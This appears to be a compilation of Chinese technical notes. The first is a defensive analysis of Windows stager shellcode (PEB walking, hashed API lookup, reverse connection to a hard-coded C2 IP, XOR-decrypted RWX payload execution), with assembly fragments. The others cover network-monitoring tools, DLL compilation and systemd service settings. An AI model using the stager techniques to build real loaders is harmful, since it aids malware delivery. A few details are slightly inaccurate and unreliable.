x64 Windows Shellcode 分析:PEB 遍历与哈希 API 解析

无导入表 Shellcode 的核心思路 普通 PE 文件有导入地址表(IAT),链接器在加载时帮你填好函数地址。Shellcode 注入到任意内存后没有这张表,需要在运行时自己找函数地址。经典方案: gs:[60h] → PEB → InMemoryOrderModuleList → kernel32 基址 ↓ 遍历导出表(Export Directory) ↓ 对每个函数名计算哈希,与目标哈希比较 ↓ 找到后读 AddressOfFunctions 得到实际地址读 PEB 找 kernel32 x64 上 PEB 地址固定在 gs:[60h]: mov rax, gs:[60h] ; rax = PEB mov rax, [rax+18h] ; rax = PEB_LDR_DATA mov rax, [rax+10h] ; rax = InLoadOrderModuleList.Flink ; 第三个模块通常是 kernel32.dll对应 C 结构: PEB → PEB_LDR_DATA PEB_LDR_DATA → InMemoryOrderModuleList (index 0: ntdll, index 1: kernel32)导出表哈希匹配 Shellcode 不存储函数名字符串,而是存预计算好的哈希值,避免明文暴露。常见算法(ROR-13 变体): def ror13_hash(name: bytes) -> int: h = 0 for c in name: h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF h = (h + c) & 0xFFFFFFFF return hShellcode 中看到的调用模式: mov ecx, 0726774Ch ; LoadLibraryA 的预计算哈希 call resolve_api ; 通用 API 解析函数,返回地址在 raxresolve_api 函数做以下事情: 1. 遍历 InMemoryOrderModuleList 2. 对每个模块读 Export Directory 3. 遍历 AddressOfNames,计算每个函数名的哈希 4. 哈希匹配时: AddressOfNameOrdinals[i] → ordinal AddressOfFunctions[ordinal] → RVA → 实际地址动态加载 DLL 找到 LoadLibraryA 后,用栈上逐字节写入的字符串加载目标库,避免字符串明文出现在数据段: ; 构造 "user32.dll" 字符串 mov dword ptr [rbp-70h], 'resu' ; "user" mov dword ptr [rbp-6Ch], 'd.23' ; "32.d" mov dword ptr [rbp-68h], 'll' ; "ll" mov byte ptr [rbp-66h], 0 ; null terminator lea rcx, [rbp-70h] call rbx ; LoadLibraryA("user32.dll")同样方式加载 ws2_32.dll、msvcrt.dll。 网络反连结构 加载 ws2_32 后按标准顺序调用 WinSock API: ; 初始化 WinSock mov ecx, 202h ; wVersionRequested = 2.2 call WSAStartup; 创建 socket ; socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) call socket; 填充 sockaddr_in,IP 写入栈上 ; 102.217.197.174:port(字节倒序写入) call connect; 接收第二阶段 payload call recvC2 IP 以字节方式分散写入栈帧,IDA/Ghidra 不会自动识别为字符串,需手动组合。 VirtualAlloc + XOR 解密执行 接收到加密 payload 后: ; 申请可执行内存 mov ecx, <payload_size> xor r8d, r8d mov r9d, 40h ; PAGE_EXECUTE_READWRITE call VirtualAlloc; XOR 解密循环 .loop: xor byte ptr [rcx+rdi], 99h ; key = 0x99 inc rdi cmp rdi, rcx jl .loop; 跳转执行 call rax整体执行流程 gs:[60h] → PEB ↓ 遍历模块链 → kernel32 基址 ↓ 导出表哈希解析 → GetProcAddress / LoadLibraryA ↓ LoadLibraryA("ws2_32.dll") LoadLibraryA("user32.dll") ↓ WSAStartup → socket → connect(C2) ↓ recv(encrypted_payload) ↓ VirtualAlloc(RWX) ↓ XOR 解密 ↓ 执行第二阶段 payload这种结构是 Cobalt Strike Beacon、Meterpreter stager 等红队工具的标准 stager 模式。理解它有助于防御侧在内存中识别 shellcode 特征、提取 C2 地址。 快速识别特征特征 含义gs:[60h] 读取 读 PEB,无导入表 shellcode 标志mov ecx, <4字节哈希>; call fn 哈希解析 API 调用模式栈上逐字节写字符串 隐藏 DLL 名称VirtualAlloc + PAGE_EXECUTE_READWRITE 申请可执行内存准备执行 payload循环 XOR 解密第二阶段 shellcode实际分析时,先定位 resolve_api 函数,把所有哈希值批量还原成函数名,再按调用顺序梳理业务逻辑,速度会快很多。

进程联网监控工具:WFN / Sniffnet / Picosnitch / LuLu

想知道"哪个进程偷偷联网"并实时弹通知,不同系统有不同的成熟开源方案。 Windows:Windows Firewall Notifier(WFN) 最接近需求的工具:进程发起网络连接时弹窗,可以选择允许或拒绝。 特点:基于 Windows 自带防火墙(WFP) 实时弹窗通知:显示进程名、目标 IP/域名、端口 允许/拒绝并记住规则 免费开源(GlassWire 的免费替代)安装后运行即可,不需要修改系统设置。 Windows / Linux / macOS:Sniffnet(流量可视化) Rust 编写,UI 现代,侧重流量监控而非拦截:显示哪个程序在联网、发送/接收了多少流量 支持桌面通知 可过滤特定协议或国家 跨平台(Windows/Linux/macOS)# Windows/macOS 下载安装包 # Linux cargo install sniffnet适合:想了解整体网络情况,而不是逐个审批连接请求。 Linux:Picosnitch eBPF 实现,低开销,功能最强: pip install picosnitch sudo picosnitch start功能:新进程联网时立即通知(systemd/D-Bus 通知) 按可执行文件统计流量 关联父进程(识别子进程发起的连接) 可选接入 VirusTotal 检查新进程 hash Web UI 查看历史记录配置文件(~/.config/picosnitch/config.json): { "Desktop notifications": true, "VT API key": "your_virustotal_api_key" }适合:需要安全审计,或在服务器上追踪异常网络行为。 macOS:LuLu macOS 下最受欢迎的免费联网防火墙:新连接弹窗(允许/拒绝/记住) 显示进程路径和目标地址 支持规则管理 Objective-See 出品(macOS 安全工具知名团队)下载安装包后启用,效果类似 Little Snitch(商业软件)的免费替代。 对比选择工具 系统 特点 是否可拦截WFN Windows 弹窗审批,集成防火墙 ✅Sniffnet 跨平台 流量可视化,UI 好看 ❌Picosnitch Linux eBPF,安全审计,VirusTotal ❌(仅监控)LuLu macOS 弹窗审批,免费 ✅根据场景选择 想控制哪些程序能联网:WFN(Windows)、LuLu(macOS) 想看流量统计和来源:Sniffnet(跨平台) 服务器安全审计/发现异常进程:Picosnitch(Linux) 排查可疑进程(如挖矿木马):先用 Picosnitch/WFN 发现网络连接,再配合 ss -antp | grep <PID> 查目标 IP

Windows 编译 DLL:MSVC cl.exe 与 MinGW g++ 对比

最小示例 dllmain.cpp: #include <windows.h> #include <stdio.h>extern "C" __declspec(dllexport) void HelloFromDll() { MessageBoxA(NULL, "Hello from DLL", "DLL", MB_OK); }BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { return TRUE; }MSVC cl.exe 编译 cl /LD /EHsc /Y- dllmain.cpp user32.lib参数说明:参数 含义/LD 编译为 DLL(输出 .dll + .lib)/LDd Debug 版 DLL/EHsc 启用 C++ 标准异常处理/Y- 禁用预编译头(避免找不到 pch.h)user32.lib 链接 user32(MessageBox 所在库)必须在正确的命令提示符里运行 普通 cmd 里没有 cl 命令,必须用: 开始菜单 → Visual Studio 20xx → x64 Native Tools Command Prompt for VS 20xx 或在普通 cmd 里手动初始化: call "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvars64.bat" cl /LD /EHsc /Y- dllmain.cpp user32.libvcvars64.bat 路径随 VS 版本和安装目录变化,注意替换。 输出文件 成功后生成:dllmain.dll — 动态链接库 dllmain.lib — 导入库(供其他项目链接用) dllmain.exp — 导出表MinGW g++ 编译(不需要 VS) 安装 MinGW 后: g++ -shared -o test.dll dllmain.cpp -luser32或指定目标架构: x86_64-w64-mingw32-g++ -shared -o test.dll dllmain.cpp -luser32MinGW 编译的 DLL 默认导出所有 extern "C" 函数,不需要 .def 文件。 预编译头问题(/Y-) VS 新建项目默认启用预编译头,会生成 pch.h 和 pch.cpp。手写 .cpp 文件如果没有包含 pch.h,编译时报: fatal error C1010: unexpected end of file while looking for precompiled header解决方法:加 /Y- 禁用预编译头(适合独立小文件) 在每个 .cpp 第一行加 #include "pch.h" 在文件属性里设置「不使用预编译头」导出函数声明 C++ 有 name mangling,跨语言调用需要 extern "C" 防止符号被修饰: // 头文件 #ifdef MYDLL_EXPORTS #define MYDLL_API __declspec(dllexport) #else #define MYDLL_API __declspec(dllimport) #endifextern "C" MYDLL_API int Add(int a, int b);用 .def 文件显式指定导出名(不受 extern "C" 影响): LIBRARY mydll EXPORTS Add @1 Hello @2编译时加 /DEF:mydll.def。 验证导出 dumpbin /exports dllmain.dll或用 Dependency Walker、x64dbg 查看导出表。

开源进程联网通知工具:Windows / Linux / macOS 对比

需求场景 想知道哪个进程在悄悄联网、连的是什么地址,并在出现新连接时弹出通知或提示。 Windows:Windows Firewall Notifier(WFN) GitHub: LeBlue/wfn 基于 Windows 内置防火墙的审计日志,当有进程触发出站连接时弹出通知气泡,可以选择「允许」或「拒绝」,行为类似 macOS 的 LuLu。 特点:不需要驱动,利用 Windows 防火墙事件日志(Event ID 5156/5157) 支持创建防火墙规则白名单 .NET 实现,需要 .NET Runtime启动前需要启用 Windows 防火墙的连接日志: # 以管理员身份运行 auditpol /set /subcategory:"Filtering Platform Connection" /success:enable /failure:enableWindows:Sniffnet(Rust 跨平台) GitHub: GyulyVGC/sniffnet 用 Rust 编写的网络流量监控工具,有图形界面,实时显示每个连接的进程、IP、国家、流量统计。 特点:跨平台(Windows / Linux / macOS) 可过滤特定进程或协议 流量图表可视化 不能主动拦截,只做监控和统计适合想直观看到哪些进程在产生流量、流量走向哪里的场景。 Linux:Picosnitch(eBPF) GitHub: elesiuta/picosnitch 基于 eBPF 的进程网络监控,内核级捕获,开销极低。 特点:记录每个进程的 DNS 查询和连接 SQLite 存储历史 支持通知(desktop notification) 需要 Linux 5.8+ 内核和 root 权限安装: pip install picosnitch sudo picosnitch startmacOS:LuLu GitHub: objective-see/LuLu Objective-See 出品的免费防火墙,功能类似商业的 Little Snitch。 特点:新进程首次出站连接时弹出授权窗口 可以创建规则(允许/拒绝) 显示进程路径、签名、目标地址对比工具 平台 技术原理 能拦截 特点WFN Windows 防火墙审计日志 是 弹窗授权Sniffnet 跨平台 pcap 否 流量可视化Picosnitch Linux eBPF 否 低开销,历史记录LuLu macOS 内核扩展 是 弹窗授权,免费想要拦截 + 弹窗授权:Windows 用 WFN,macOS 用 LuLu。只想监控流量走向:Sniffnet 最直观。Linux 生产环境审计:Picosnitch + SQLite 日志。

systemd Service 设置工作目录:WorkingDirectory 与 ExecStart 相对路径

systemd service 文件通过 WorkingDirectory 指令设置进程启动后的工作目录,等同于 cd 后再执行命令。 基本配置 [Unit] Description=My App Service[Service] Type=simple User=www-data WorkingDirectory=/opt/myapp ExecStart=/usr/bin/python3 main.py Restart=always RestartSec=5[Install] WantedBy=multi-user.target设置 WorkingDirectory=/opt/myapp 后:ExecStart 中的相对路径基于 /opt/myapp 程序内 os.getcwd()(Python)或 process.cwd()(Node.js)返回 /opt/myapp 读写相对路径的文件(如 config.json、logs/)都指向该目录修改配置后重新加载 sudo systemctl daemon-reload sudo systemctl restart myapp.service# 查看服务状态 systemctl status myapp.service每次修改 .service 文件都需要 daemon-reload,否则 systemd 不会读取新配置。 常见问题 User 与目录权限 如果指定了 User=www-data,该用户必须对 WorkingDirectory 有读取权限(通常还需要写权限): sudo chown www-data:www-data /opt/myapp sudo chmod 750 /opt/myapp带有空格的路径 WorkingDirectory=/opt/my app/ # 错误,空格无需引号但会导致解析问题 WorkingDirectory="/opt/my app" # 正确,用引号包裹ExecStart 中用绝对路径 ExecStart 建议始终用绝对路径,避免 $PATH 不同导致找不到命令: ExecStart=/usr/bin/node /opt/myapp/server.js # 不要写:ExecStart=node server.js查看服务文件位置 # 列出所有用户服务文件 ls /etc/systemd/system/# 查看某个服务的完整配置(包括覆盖) systemctl cat myapp.service服务文件通常放在 /etc/systemd/system/ 下,命名为 <name>.service。